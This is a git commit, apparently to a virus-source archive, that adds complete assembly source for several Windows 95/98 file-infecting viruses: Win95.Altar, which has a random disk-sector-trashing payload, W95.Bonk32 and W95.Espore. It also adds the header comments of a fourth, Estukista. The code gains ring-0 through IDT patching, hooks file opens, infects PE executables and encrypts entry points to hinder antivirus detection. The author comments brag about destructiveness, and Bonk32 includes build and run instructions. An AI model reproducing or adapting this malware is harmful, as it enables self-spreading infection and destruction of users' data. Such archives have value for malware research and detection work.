Folder structure change, added README

This commit is contained in:
TheDuchy
2020-10-16 22:28:58 +02:00
parent 2114d4f5e7
commit d44d9b59a7
174 changed files with 14378 additions and 0 deletions
+539
View File
@@ -0,0 +1,539 @@
;============================================================================
;
;
; NAME: Win95.Altar 1.01
; OS: Windoze 95/98.
; TYPE: Parasitic resident (VxD) PE-infector.
; SIZE: Around 800 bytes.
; AUTHOR: T-2000 / Immortal Riot.
; E-MAIL: T2000_@hotmail.com
; DATE: June 1999.
; DESTRUCTIVE: Yeah.
;
; FEATURES:
;
; - Gains ring-0 by hacking an IDT-gate.
; - Hosts don't increase in size.
; - Payload: random sector-trashing.
;
; Here's some simple ring-0 VxD-virus, just to try-out the idea. The trash-
; chance was set rather high, just to fuck beginners :P
;
;============================================================================
.386p
.MODEL FLAT
.CODE
ORG 0
EXTRN ExitProcess:PROC
IFSMgr EQU 0040h
GetHeap EQU 000Dh
UniToBCSPath EQU 0041h
InstallFileSystemAPIhook EQU 0067h
Ring0_FileIO EQU 0032h
IFSFN_OPEN EQU 36
R0_WRITEFILE EQU 0D601h
Virus_Size EQU (Virus_End-START)
Virus_Size_Mem EQU (End_Virus_Mem-START)
START:
PUSH (1000h+(Carrier-START))
Host_EIP = DWORD PTR $-4
PUSHFD
PUSHAD
CALL Get_Delta
MOV EAX, EBP
SUB EAX, 1000h ; Calculate base-address.
Virus_RVA = DWORD PTR $-4
ADD [ESP+(9*4)], EAX ; Add base to the EIP RVA.
XOR EAX, EAX
CALL Setup_SEH ; Bail-out without errors
; under NT.
MOV ESP, [ESP+(2*4)]
JMP Return_Host
Setup_SEH: PUSH DWORD PTR FS:[EAX]
MOV FS:[EAX], ESP
PUSH EAX ; Store IDT in EAX.
SIDT [ESP-2]
POP EAX
LEA EBX, [EBP+(Ring0_Installation-START)]
XCHG [EAX+(3*8)], BX ; Hack IDT-gate.
ROR EBX, 16
XCHG [EAX+(3*8)+6], BX
INT 3
MOV [EAX+(3*8)+6], BX ; Restore IDT-gate.
ROL EBX, 16
MOV [EAX+(3*8)], BX
Return_Host: XOR EAX, EAX ; Restore the original SEH.
POP DWORD PTR FS:[EAX]
POP EAX
POPAD
POPFD
RET ; RETurn to our host.
Copyright DB '[Altar] by T-2000 / Immortal Riot', 0
VxD_Ring0_FileIO:
INT 20h
DW Ring0_FileIO
DW IFSMgr
RET
Ring0_Installation:
PUSHFD
PUSHAD
MOV EAX, DR2 ; Get DR2 in EAX.
CMP AL, 'T' ; We're already resident?
JE Exit_R0_Inst
LEA EDI, [EBP+(VxD_Ring0_FileIO-START)]
MOV AX, 20CDh
STOSW
MOV [EDI], 00400032h
MOV [EDI+(VxD_Call_1-VxD_Ring0_FileIO)-2], AX
MOV [EDI+(VxD_Call_2-VxD_Ring0_FileIO)-2], AX
MOV [EDI+(VxD_Call_3-VxD_Ring0_FileIO)-2], AX
MOV [EDI+(VxD_Call_1-VxD_Ring0_FileIO)], 0040000Dh
MOV [EDI+(VxD_Call_2-VxD_Ring0_FileIO)], 00400067h
MOV [EDI+(VxD_Call_3-VxD_Ring0_FileIO)], 00400041h
PUSH Virus_Size_Mem ; Allocate memory from the
INT 20h ; global heap.
DW GetHeap
DW IFSMgr
VxD_Call_1 = $-6
POP ECX
OR EAX, EAX ; Error occurred?
JZ Exit_R0_Inst
MOV ESI, EBP ; Copy us to VxD-memory.
MOV EDI, EAX
CLD
REP MOVSB
MOV [EAX+(Busy_Switch-START)], ECX
ADD EAX, (Ring0_Hook-START)
PUSH EAX ; Insert our file-hook.
INT 20h
DW InstallFileSystemAPIhook
DW IFSMgr
VxD_Call_2 = $-6
POP EBX
XCHG ECX, EAX ; Error?
JECXZ Exit_R0_Inst
MOV [EBX+(Prev_Handler-Ring0_Hook)], ECX
MOV AL, 'T' ; Mark us as resident.
MOV DR2, EAX
Exit_R0_Inst: POPAD
POPFD
IRETD ; Back to our ring-3 part.
Ring0_Hook:
JMP $+666h
Busy_Switch = DWORD PTR $-4
PUSHFD
PUSHAD
CALL Get_Delta
MOV DWORD PTR [EBP+(Busy_Switch-START)], (JMP_Prev_Hook-Busy_Switch) - 4
CMP DWORD PTR [ESP+(9*4)+(2*4)], IFSFN_OPEN
JNE Exit_Infect
CALL Get_Random
CMP DL, 5
JA Obtain_Name
CALL Get_Random
MOV AX, 0DE02h ; R0_WRITEABSOLUTEDISK
INC ECX
LEA ESI, [EBP+(Copyright-START)]
CALL VxD_Ring0_FileIO
Obtain_Name: MOV EBX, [ESP+(9*4)+(6*4)] ; IOREQ-structure.
MOV ESI, [EBX+(3*4)] ; Unicode-path.
CLD
LODSD
PUSH DWORD PTR [ESP+(9*4)+(5*4)]
PUSH 259
PUSH ESI
LEA ESI, [EBP+(ANSI_Target-START)]
PUSH ESI
INT 20h
DW UniToBCSPath
DW IFSMgr
VxD_Call_3 = $-6
ADD ESP, (4*4) ; Fix stack.
OR EDX, EDX ; No problems during the
JNZ Exit_Infect ; conversion?
MOV [ESI+EAX], DL
CMP [ESI+EAX-4], 'EXE.' ; Standard .EXE-file?
JNE Exit_Infect
XOR EAX, EAX ; R0_OPENCREATFILE
MOV AH, 0D5h
PUSH 02h
POP EBX
INC EDX
CALL VxD_Ring0_FileIO
JC Exit_Infect
XCHG EBX, EAX ; Save filehandle in EBX.
XOR EAX, EAX ; R0_GETFILESIZE
MOV AH, 0D8h
CALL VxD_Ring0_FileIO
CMP EAX, 4096 ; Avoid infecting files which
JC_Close_File: JB Close_File ; are too small.
MOV [EBP+(Victim_Size-START)], EAX
LEA EDI, [EBP+(Header-START)]
; Read-in the DOS MZ-header.
XOR EAX, EAX ; R0_READFILE
MOV AH, 0D6h
PUSH 40h
POP ECX
XOR EDX, EDX
MOV ESI, EDI
CALL VxD_Ring0_FileIO
JC JC_Close_File
CMP [EDI.MZ_Mark], 'ZM' ; It's a valid .EXE-file?
JNE Close_File
MOV EDX, [EDI+3Ch] ; Pointer to PE-header.
MOV [EBP+(PE_Header_Offs-START)], EDX
; Read-in PE-header.
XOR EAX, EAX ; R0_READFILE
MOV AH, 0D6h
PUSH 92
POP ECX
CALL VxD_Ring0_FileIO
CMP [EDI.PE_Mark], 'EP' ; Verify the PE-header.
JNE Close_File
CMP [EDI.PE_Checksum], -666h ; Avoid infected
JE Close_File ; files.
MOVZX EAX, [EDI.Object_Count]
DEC EAX
PUSH 40
POP ECX
MUL ECX
MOVZX DX, [EDI.NT_Header_Size]
LEA EDX, [EDX+24+EAX]
ADD EDX, [EBP+(PE_Header_Offs-START)]
MOV [EBP+(Last_Obj_Offset-START)], EDX
; Read-in the last object-header.
XOR EAX, EAX ; R0_READFILE
MOV AH, 0D6h
PUSH 40
POP ECX
LEA ESI, [EBP+(Last_Obj_Table-START)]
CALL VxD_Ring0_FileIO
MOV EAX, [ESI.Section_Physical_Size]
CMP EAX, [ESI.Section_Virtual_Size]
JBE Check_Size
MOV EAX, [ESI.Section_Virtual_Size]
Check_Size: PUSH EAX
MOV ECX, Virus_Size
ADD EAX, ECX
ADD EAX, [ESI.Section_Physical_Offset]
CMP EAX, 12345678h ; File increases in size?
Victim_Size = DWORD PTR $-4
POP EAX
JA Close_File ; Then abort the infect.
PUSH EAX
PUSH EAX
ADD EAX, ECX
PUSH EAX
MOV ECX, [EDI.File_Align]
CALL Align_EAX
CMP [ESI.Section_Physical_Size], EAX
JNB Calc_New_Virt
MOV [ESI.Section_Physical_Size], EAX
Calc_New_Virt: POP EAX
MOV ECX, [EDI.Object_Align]
CALL Align_EAX
CMP [ESI.Section_Virtual_Size], EAX
JNB Set_New_EIP
ADD [EDI.Image_Size], EAX
XCHG [ESI.Section_Virtual_Size], EAX
SUB [EDI.Image_Size], EAX
Set_New_EIP: POP EAX
ADD EAX, [ESI.Section_RVA]
MOV [EBP+(Virus_RVA-START)], EAX
XCHG [EDI.EIP_RVA], EAX
MOV [EBP+(Host_EIP-START)], EAX
; Write updated object-header back to disk.
MOV EAX, R0_WRITEFILE
PUSH 40
POP ECX
MOV EDX, 12345678h
Last_Obj_Offset = DWORD PTR $-4
CALL VxD_Ring0_FileIO
POP EDX
; Insert virus-body into our victim.
MOV EAX, R0_WRITEFILE
MOV ECX, Virus_Size
ADD EDX, [ESI.Section_Physical_Offset]
MOV ESI, EBP
CALL VxD_Ring0_FileIO
; Mark file as infected.
MOV [EDI.PE_Checksum], -666h
; Write updated PE-header back to disk.
MOV EAX, R0_WRITEFILE
PUSH 92
POP ECX
MOV EDX, 12345678h
PE_Header_Offs = DWORD PTR $-4
MOV ESI, EDI
CALL VxD_Ring0_FileIO
; Close the file.
Close_File: XOR EAX, EAX ; R0_CLOSEFILE
MOV AH, 0D7h
CALL VxD_Ring0_FileIO
Exit_Infect: XOR EAX, EAX ; Reset busy-flag.
MOV [EBP+(Busy_Switch-START)], EAX
POPAD
POPFD
JMP_Prev_Hook: JMP DS:[12345678h]
Prev_Handler = DWORD PTR $-4
DB 'Awaiting the sacrifice...', 0
Align_EAX:
XOR EDX, EDX
DIV ECX
OR EDX, EDX
JZ Calc_Aligned
INC EAX
Calc_Aligned: MUL ECX
RET
Get_Delta:
CALL Get_EIP
Get_EIP: POP EBP
SUB EBP, (Get_EIP-START)
RET
Get_Random:
IN EAX, 40h
ADD EDX, EAX
Randomize: IN EAX, 40h
XCHG AH, AL
ADD EAX, 0DEADBEEFh
RCL EDX, 3
XOR EDX, EAX
LOOP Randomize
RET
Virus_End:
ANSI_Target DB 260 DUP(0)
Header DB 92 DUP(0)
Last_Obj_Table DB 40 DUP(0)
End_Virus_Mem:
Carrier:
PUSH 0
CALL ExitProcess
; The good old MZ-header...
MZ_Header STRUC
MZ_Mark DW 0
MZ_Image_Mod_512 DW 0
MZ_Image_512_Pages DW 0
MZ_Reloc_Items DW 0
MZ_Header_Size_Mem DW 0
MZ_Min_Size_Mem DW 0
MZ_Max_Size_Mem DW 0
MZ_Program_SS DW 0
MZ_Program_SP DW 0
MZ_Checksum DW 0
MZ_Program_IP DW 0
MZ_Program_CS DW 0
MZ_Reloc_Table DW 0
MZ_Header ENDS
PE_Header STRUC
PE_Mark DD 0 ; PE-marker (PE/0/0).
CPU_Type DW 0 ; Minimal CPU required.
Object_Count DW 0 ; Number of sections in PE.
DD 0
Reserved_1 DD 0
DD 0
NT_Header_Size DW 0
PE_Flags DW 0
DD 4 DUP(0)
EIP_RVA DD 0
DD 2 DUP(0)
Image_Base DD 0
Object_Align DD 0
File_Align DD 0
DW 0, 0
DW 0, 0
DW 0, 0
PE_Reserved_5 DD 0
Image_Size DD 0
Headers_Size DD 0
PE_Checksum DD 0
DW 0
DLL_Flags DW 0
PE_Header ENDS
Section_Header STRUC
Section_Name DB 8 DUP(0) ; Zero-padded section-name.
Section_Virtual_Size DD 0 ; Memory-size of section.
Section_RVA DD 0 ; Start section in memory.
Section_Physical_Size DD 0 ; Section-size in file.
Section_Physical_Offset DD 0 ; Section file-offset.
Section_Reserved_1 DD 0 ; Not used for executables.
Section_Reserved_2 DD 0 ; Not used for executables.
Section_Reserved_3 DD 0 ; Not used for executables.
Section_Flags DD 0 ; Flags of the section.
Section_Header ENDS
END START
File diff suppressed because it is too large Load Diff
+556
View File
@@ -0,0 +1,556 @@
;[W95.BONK32] Resident PE infector
;Copyright 1998 (c) Vecna
;
;This virus is the 2nd PE infector i wrote, and is a memory resident infector
;designed exclusively for win95/98. It shouldnt work neither in winNT or in
;w32s. It patches the IDT, that isnt protected in w95/98, modifies a vector
;to point code into the virus, and execute this interrupt. As the code is
;executed in ring0, the virus alloc memory and read from the host file the
;rest of the virus code. It then jump to this virus part, that hook IFS and
;restore the host.
;
;Always a EXE file is open, the virus handler take control, and infect it.
;The virus body is appended as a overlay to the end of host, without any
;physical link to host, and a small loader is stored into the free space of
;the PE header.
;
;If the host file dont have relocationz, the virus encript the original
;entrypoint and patch it with a jump to the virus loader. The key for the code
;encripted is not saved, but a CRC32 of it unencripted is stored. When the
;virus restore it, it must try all keyz, what can be time costly for AVerz.
;
;As the original entrypoint dont change, and the virus code isnt linked to
;host, beside the loader, this work as a anti-heuristic feature.
;
;Early versionz haved a bug, that cause a crash in everybody machine beside
;mine. This was because a non-fixed call to int 0x20. Some lines added and
;now it work fine.
;
;W95.Bonk32 is written using NASM sintax, that showed very efficient for my
;viral needz, as provide more control over the generated code . To compile
;you will need NASM, LINK from Microsoft and PEWRSEC from Jacky Qwerty/29A.
;You also will need any MAKE utility (Borland, Microsoft and LCC ones work).
;then debug it using SOFT-ICE till u get the point that the virus open host
;at this point, change esi to point to a unused area (ECX hold one), then
;then edit this memory (D ESI;EB) and type the dir you are and \bonk32 at the
;end. Then make the virus go(BC *;G).
;
;Or, better, run the pre-compiled file. It will execute and stay resident.
;All open files will be infected then. Remeber that the pre-compiled file
;must reside in root dir of C:, else it will crash.
;
;I must thank 2 people: the AV that discovered the bug, and Alchemy, that
;gimme the EIP of the fault and make possible to me fix it.
[bits 32]
[section .text]
[global _main]
%define true 1
%define false 0
%define debug false
%define userda true
%define buffer bname + 0x100
%define buffer2 buffer + 0x1000
%macro vxdcall 2
int 0x20
dw %2
dw %1
%endmacro
hook:
enter 0x20, 0x00 ;setup stack frame
push ecx
push ebx
call .delta
.delta:
pop ebx
sub ebx, .delta
cmp dword [ebp+0x0C], byte 0x24
jne .noopen ;only hookz ifs_opne
cmp byte [ebx+recurse], byte 0x00
jne .noopen ;no re-enter
inc byte [ebx+recurse]
pushad
call dynacall ;fix dynamic int20 calls
call uni2ansi
call infect ;replicate
popad
dec byte [ebx+recurse]
.noopen:
mov ecx, 0x06 ;total=6 paramz
mov ebx, 0x1C
.nparam:
mov eax, [ebp+ebx] ;copy paramz from old frame
push eax ;to new frame
sub ebx, 4
loop .nparam
db 0xb8
oldhook dd 0
call [eax] ;call old hookz
add esp, byte 0x18
pop ebx
pop ecx
leave
ret
db '[BONK32] by Vecna/29A', 0x00
dynacall:
pushad
cld
mov ax, 0x20CD
call .odynatable
.dynatable:
dw 0x67, 0x40
dw 0x32, 0x40
dw 0x0D, 0x40 ;function, vxd
dw 0x41, 0x40
dw 0x32, 0x40
.odynatable:
pop esi
mov edi, esi
add edi, fix1-.dynatable
stosw ;make vxd calls to dynamic
movsd ;int20 code
add edi, IFS-fix1-6
stosw
movsd
add edi, byte fix3-IFS-6
stosw
movsd
add edi, fix4-fix3-6 ;make all fixes
stosw
movsd
popad
ret
uni2ansi:
pushad
lea edi, [ebx+bname]
mov eax, [ebp+0x10]
cmp al, -1
jz .drive
add al, '@' ;make number2letter
stosb
mov al, ':'
stosb
.drive:
sub eax, eax
push eax
mov eax, 0x100
push eax
mov eax, [ebp+0x1C]
mov eax, [eax+0x0C]
add eax, byte 0x04
push eax
push edi
fix4:
vxdcall 0x40, 0x41 ;make unicode2ansi
add esp, byte 0x10
add edi, eax
sub eax, eax
stosb
popad
ret
infect:
lea edi, [ebx+bname]
mov ebp, edi
mov ecx, 0x100
sub eax, eax
cld
repne scasb ;end of name
or ecx, ecx
jz near error
cmp dword [edi-0x05], '.EXE'
jne near error ;only infect exe files
%if debug == true
cmp dword [edi-0x09], 'BAIT'
jne near error ;debug code
%endif
mov eax, 0xD500
sub ecx, ecx
mov edx, ecx
inc edx
mov ebx, edx
inc ebx
mov esi, ebp
call IFS ;open it
jc near error
call .delta
.delta:
pop ebp
sub ebp, .delta ;ebp hold delta offset
mov ebx, eax
mov eax, 0xD600
sub edx, edx
mov ecx, 0x1000
lea esi, [ebp+buffer]
call IFS ;read pe headerz
jc near errorclose
mov ax, word [esi]
add al, ah
cmp al, 0xA7
jne near errorclose ;not exe
mov edi, [esi+0x3C]
mov [ebp+mz_size], edi
cmp edi, 0xE00
ja near errorclose ;buffer overflow
add edi, esi
cmp dword [edi], 'PE'
jne near errorclose ;not pe newexe
mov eax, 'BONK'
cmp [edi+88], eax
mov [edi+88], eax
jz near errorclose ;already infected
cmp word [edi+4], 0x014C ;run in a 386?
jnz near errorclose
bt word [edi+22], 1 ;executable?
jnc near errorclose
bt word [edi+22], 0x0D ;dll?
jc near errorclose
mov eax, [edi+40]
add eax, [edi+52] ;mementry==imagebase+entrypont
mov [ebp+loader.entrypoint], eax
movzx eax, word [edi+6]
imul eax, eax, 40
movzx ecx, word [edi+20] ;sum size of all headerz
add eax, ecx
add eax, 24
mov ecx, eax
add eax, edi
add ecx, lsize
cmp dword [edi+84], ecx ;total size of headerz
jc near errorclose ;enought to loader?
push eax
push edi
mov edi, eax
mov ecx, lsize
lea esi, [ebp+loader]
rep movsb ;copy loader to pe header
lea esi, [ebp+bname]
.nextbyte:
lodsb
stosb
test al, al
jnz .nextbyte ;copy host name
pop edi
pop eax
sub eax, edi
cmp [edi+160], ecx
jne near .relocs
cmp [edi+164], ecx
jne near .relocs ;shit, relocz present
%if userda == true
push ebx
mov dword [ebp+jmpentry], eax ;signal rda used
movzx ecx, word [edi+20]
add ecx, edi
add ecx, 24-0x28
.next:
add ecx, 0x28
mov edx, [edi+40]
sub edx, [ecx+12] ;is EIP pointing inside
cmp edx, [ecx+8] ;this section?
jnb .next
or dword [ecx+36], 80000000h ;make section writeable
add edx, [ecx+20] ;edx point physical entrypoint
push edx
push eax ;save virus entry
mov eax, 0xD600
mov ecx, 0x100
lea esi, [ebp+buffer2] ;esi point entrycode
call IFS ;read entry code
push esi
push edi
push esi
mov eax, 0x100
push eax
push esi
push eax
call crc32 ;calc crc32 of 100h bytes
mov [ebp+rdacrc32], eax
pop ecx
pop esi
pop edi
in al, 0x40
.rdaloop:
xor byte [esi], al ;encript crc32ed code
inc esi
loop .rdaloop
pop esi
push edi
lea edi, [ebp+hostcode]
movsd
movsb ;save entrycode
pop edi
xchg esi, edi ;edi point to entrycode
sub edi, byte 5
mov al, 0xE9 ;esi point to pe header
stosb
pop edx
sub edx, [esi+40]
mov eax, edx
sub eax, 5
add eax, dword [ebp+mz_size]
stosd ;store displacement
mov edi, esi
pop edx
mov eax, 0xD601
mov ecx, 0x100
lea esi, [ebp+buffer2]
pop ebx
call IFS ;write pe headerz
jmp .norelocs
%endif
.relocs:
mov dword [ebp+jmpentry], ecx ;flag as normal file
add eax, dword [ebp+mz_size]
mov [edi+40], eax ;set new entrypoint
.norelocs:
mov eax, 0xD601
sub edx, edx
mov ecx, dword [edi+84]
lea esi, [ebp+buffer]
call IFS ;write pe headerz
mov eax, 0xD800
call IFS ;get filesize
mov edx, 0xD601
xchg eax, edx
mov ecx, vsize
mov esi, ebp
call IFS ;write overlay code
errorclose:
mov eax, 0xD700
call IFS ;close file
error:
ret
rdacrc32 dd 0
jmpentry dd 0
hostcode dd 0
db 0
recurse db 0
mz_size dd 0
install:
sub edx, edx
sub esi, install ;esi point to start of vcode
push esi
mov dword [esi+recurse], edx
mov eax, 0xD700
call IFS ;close file
or ebp, ebp
jns skip
fix1:
vxdcall 0x40, 0x67 ;hook ifs
skip:
pop ecx
mov [esi+oldhook], eax
.restore:
%if userda == true
cmp dword [esi+jmpentry], byte 0x0
jz .norda ;was rda used?
push esi
mov edi, [esi+loader.entrypoint]
lea esi, [esi+hostcode]
movsd
movsb ;restore init code
pop esi
push dword 0x100
push dword [esi+rdacrc32]
push dword [esi+loader.entrypoint]
call rda ;rda decript host
.norda:
%endif
ret
%if userda == true
crc32_pbfr equ +0x0C
crc32_sz equ +0x08
crc32_ret@ equ +0x04
crc32_ebp@ equ +0x00
crc32:
push ebp
mov ebp, esp
mov esi, [ebp+crc32_pbfr]
mov edi, [ebp+crc32_sz] ;setup regz
push byte -1
pop ecx ;init crc32
mov edx, ecx
.aa:
sub eax, eax
mov ebx, eax
lodsb ;get byte
xor al, cl
mov cl, ch
mov ch, dl
mov dl, dh
mov dh, 8
.ab:
shr bx, 1
rcr ax, 1
jnc .ac
xor ax, 0x08320 ;logarithm
xor bx, 0x0edb8
.ac:
dec dh
jnz .ab
xor ecx, eax
xor edx, ebx
dec edi
jnz .aa ;next byte
not edx
not ecx
shl ecx, 16 ;cx:dx to ecx
mov cx, dx
mov eax, ecx
pop ebp
ret 8
%endif
_main
loader:
pushad
call .seh
mov esp, [esp+8]
jmp .removeseh
.seh:
sub edx, edx
fs push dword [edx]
fs mov dword [edx], esp ;seh frame set
call .delta
.delta:
pop eax
sub eax, .delta
push eax
sidt [esp-2] ;get idt to ebx
pop ebx
cli
mov ebp, [ebx+0x4+(0x5*0x8)]
mov bp, [ebx+(0x5*0x8)]
lea ecx, [eax+ring0] ;new int5 handler
mov [ebx+(0x5*0x8)], cx
bswap ecx
xchg cl, ch
mov [ebx+0x6+(0x5*0x8)], cx
push ds
push es
int 0x5 ;jump to ring0
pop es
pop ds
.removeseh:
sti
sub eax, eax
fs pop dword [eax] ;remove seh frame
pop eax
popad
db 0x68 ;return to host
.entrypoint dd 0
pop ecx
jecxz .ret
push ecx
.ret:
ret
IFS:
vxdcall 0x40, 0x32 ;just one place to fix
ret
ring0:
cld
push ss
pop ds
mov edi, [eax+IFS]
mov ax, 0x20CD ;these linez fix the previous
stosw ;bug, found by AVz
mov ax, 0x32
stosw
mov ax, 0x40
stosw
lea ecx, [eax+bname]
lea esi, [eax+name]
mov eax, 0xD500 ;openfile
sub ecx, ecx
mov edx, ecx
mov ebx, ecx
inc edx
call IFS
jnc .skip
iret ;cant open host
.skip:
push eax
push dword 8192
fix3:
vxdcall 0x40, 0x0D ;vmm alloc
pop ecx
mov esi, eax
pop ebx
jc .error
mov eax, 0xD800 ;get filesize
call IFS
mov ecx, vsize
sub eax, ecx
mov edx, 0xD600 ;read overlay
xchg eax, edx
call IFS
add esi, install-hook
call esi ;call it!
.error:
iret
lsize equ ($-loader)
name equ $
%if userda == true
rda_sz equ +16
rda_crc equ +12
rda_pbfr equ +08
rda_ret@ equ +04
rda_ebp@ equ +00
rda_pass equ -04
rda_key equ -08
rda:
enter 8, 0 ;2 dwords as local var
sub eax, eax
mov [ebp+rda_pass], eax
mov [ebp+rda_key], eax ;setup rda
.setup:
mov esi, [ebp+rda_pbfr]
mov ecx, [ebp+rda_sz]
mov edx, [ebp+rda_key] ;setup loop
.loop:
xor [esi], dl
inc esi
dec ecx
jnz .loop
inc dword [ebp+rda_pass] ;increase pass counter
cmp [ebp+rda_pass], byte 2
jne .check ;first pass
sub eax, eax
mov [ebp+rda_pass], eax
inc dword [ebp+rda_key] ;new key
jmp short .setup
.check:
push ebp
push dword [ebp+rda_pbfr]
push dword [ebp+rda_sz]
call crc32 ;calc crc32
pop ebp
cmp eax, [ebp+rda_crc]
jne .setup ;crc32 dont match
leave
ret 12
%endif
vsize equ ($-$$)
bname:
File diff suppressed because it is too large Load Diff
+136
View File
@@ -0,0 +1,136 @@
;---------------------------- W95 ESPORE BY HenKy -----------------------------
;
;-AUTHOR: HenKy
;
;-MAIL: HenKy_@latinmail.com
;
;-ORIGIN: SPAIN
;
; WOW!!!! 140 BYTES !!!! AND 100% RING 3 !!!! (ONLY WINDOZE 9X CAN SUPPORT IT)
; OF COURSE MIDFILE AND NO GROWING CAVITY TECH
; IT SEARCHS FILENAMES INTO CACHE (AND PARASITE THEM) :-)
; THE 0C1000000H ADDRESS IS USED AS BUFFER BECOZ WE HAVE WRITE/READ
; PRIVILEGES
; THE BFF712B9h ADDRESS IS THE CALL VINT21
; THE INITIAL EDX VALUE POINTS TO A 28KB CACHE BUFFER WICH CONTAINS SEVERAL
; FILENAMES WITH COMPLETE PATH (ONLY PE EXE/DLL )
.386P
.MODEL FLAT
LOCALS
EXTRN ExitProcess:PROC
MIX_SIZ EQU (FILE_END - MEGAMIX)
MACROSIZE MACRO
DB MIX_SIZ/00100 mod 10 + "0"
DB MIX_SIZ/00010 mod 10 + "0"
DB MIX_SIZ/00001 mod 10 + "0"
ENDM
.DATA
DB 'BIEN PEKE?O BIEN... LIKE AN ESPORE... HEHEHE',0
DB ' W9X ESPORE SIZE = '
MACROSIZE
.CODE
MEGAMIX: ; EDX: BUFFER
; EAX: EIP
; ECX: BUFFER
VINT21:
DD 0BFF712B9h ; MOV ECX,048BFF71H ;-) Z0MBiE
DB 'H' ; HenKy ;P
XCHG EDI, EAX ; EDI: DELTA
MOV ESI,0C1000000H ; ESI: BUFFER
MOV EBP,EDI ; NOW: EBP=EDI=DELTA=INT21H
;EDX: POINTER TO FNAME
MOV ECX,28500 ; LIMIT
PORK:
INC EDX
CMP WORD PTR [EDX],':C'
JE KAA
LOOP PORK
OK:
PUSH 00401000H
OLD_EIP EQU $-4
WARNING:
RET
KAA:
MOV AX, 3D02h
CALL [EDI]
XCHG EBX, EAX
PUSHAD ; SAVE ECX,EBX,EDX,EBP,EDI
CALL PHECT
POPAD
MOV AH, 3Eh
CALL [EDI]
JMP PORK
PHECT:
XOR ECX,ECX
MOV EDX, ESI
MOV AH, 3Fh
CALL R_W
MOV ECX, [ESI+3Ch]
LEA EAX, [ESI+ECX]
CMP BYTE PTR [EAX], "P"
JNE WARNING
MOV ECX,[EAX+28H]
CMP ECX, 1024
JB WARNING
PUSH EBP
ADD ECX,[EAX+34H]
MOV [EBP+OLD_EIP-MEGAMIX],ECX
MOV EDI,EAX
PORRO:
INC EDI
CMP BYTE PTR [EDI],'B' ; hehehehe
JNE PORRO
INC EDI
SUB EDI,ESI
MOV EDX,EDI
XCHG DWORD PTR [EAX+28h], EDI
LEA EDI, [ESI+EDX]
PUSH MIX_SIZ/4
POP ECX
POP EAX
PUSH EAX
XCHG ESI,EAX
REP MOVSD
POP EDI
MOV EDX, EAX
W:
MOV AH, 40h
R_W:
PUSHAD
XOR EAX,EAX
MOV AH, 42h
CDQ
CALL [EDI]
POPAD
MOV CH, 4h
CALL [EDI]
RET
ALIGN 4
FILE_END:
PUSH 0
CALL ExitProcess
END MEGAMIX
+231
View File
@@ -0,0 +1,231 @@
;-------------------------------- W95 ESTUKISTA BY HenKy -----------------------------
;
;-AUTHOR: HenKy
;
;-MAIL: HenKy_@latinmail.com
;
;-ORIGIN: SPAIN
;
; VIRUS_SIZE = 126 BYTES!!!!
; 100% FUNCTIONAL UNDER W95/98 !!!!! AND IS RING 3!!!!!!
; (NOT TESTED UNDER ME)
; INFECTS *ALL* OPEN PROCESES AND EVEN ALL DLL AND MODULES IMPORTED BY THEM
; THE 0C1000000H ADDRESS IS USED AS BUFFER BECOZ WE HAVE WRITE/READ PRIVILEGES
; THE BFF712B9h ADDRESS IS THE CALL VINT21
; THE INITIAL ESI VALUE POINTS TO A READABLE MEMORY ZONE (SEEMS TO BE A CACHE ONE
; WHERE WINDOWS LOADS THE PE HEADER, THE IMPORTANT THING IS THAT HERE U CAN FIND
; THE FILENAMES WITH COMPLETE PATH OF ALL OPEN PROCESES)
;BUGS: * THE BAD THING IS THAT ESI INITIAL VALUE ON SOME FILES POINTS TO KERNEL, CAUSING
; THAT NO FILENAME FOUND (VIRUS WILL INFECT NOTHING AND WILL RETURN TO HOST).
; * ANOTHER POSSIBLE BUG IS THAT 0C1000000H MAYBE NOT READ/WRITE ON ALL COMPUTERS
; (AT LEAST IN MY W95 AND W98 WORKS FINE, AND INTO COMPUTER'S FRIEND WITH 98 WORKS TOO)
; * AND THE MORE PAINLY THING IS THE MASK LIMIT.... IF VERY LOW-> LESS INFECTIOUS
; IF VERY HIGH-> RISK OF READ NON-MAPPED AREA (AS WE ARE IN RING 3 IT WILL HANG WINDOZE)
; ANYWAY IN MY TESTS A LOT OF FILES BECOME INFECTED , MANY OF THEM WINDOWS DLL'S
;DUMP OF INITIAL ESI VALUE OF MY COMPILED BINARY (I HAVE AN OPEN PROCESS CALLED AZPR.EXE)
;81621788 FF FF FF FF 04 00 00 00 00 00 00 00 00 00 00 00 ????
;81621798 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
;816217A8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
;816217B8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
;816217C8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
;816217D8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
;816217E8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
;816217F8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
;81621808 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
;81621818 00 00 00 00 00 00 00 00 20 00 00 A0 43 3A 5C 57 C:\W
;81621828 49 4E 50 52 4F 47 5C 41 5A 50 52 5C 41 5A 50 52 INPROG\AZPR\AZPR
;81621838 2E 45 58 45 20 00 00 00 48 00 00 A0 44 00 00 00 .EXE H D
; ....
;81621CD8 50 A0 D7 82 3C 02 00 A0 50 45 00 00 4C 01 08 00 P ??< PE L
;81621CE8 A0 95 37 39 00 00 00 00 00 00 00 00 E0 00 82 01 ?79 à ?
;81621CF8 0B 01 02 12 00 22 02 00 00 A8 00 00 00 50 05 00  " ¨ P
;81621D08 01 40 0B 00 00 10 00 00 00 40 02 00 00 00 40 00 @  @ @
;81621D18 00 10 00 00 00 02 00 00 01 00 0B 00 00 00 00 00   
;81621D28 04 00 00 00 00 00 00 00 00 90 0C 00 00 04 00 00  
;81621D38 00 00 00 00 02 00 00 00 00 00 04 00 00 00 01 00   
;81621D48 00 20 00 00 00 10 00 00 00 00 00 00 10 00 00 00  
;81621D58 00 00 00 00 00 00 00 00 64 54 0B 00 D4 01 00 00 dT ?
;81621D68 00 A0 08 00 00 94 02 00 00 00 00 00 00 00 00 00  ?
;81621D78 00 00 00 00 00 00 00 00 CC 52 0B 00 08 00 00 00 ?R 
;81621D88 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
;81621D98 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
;81621DA8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
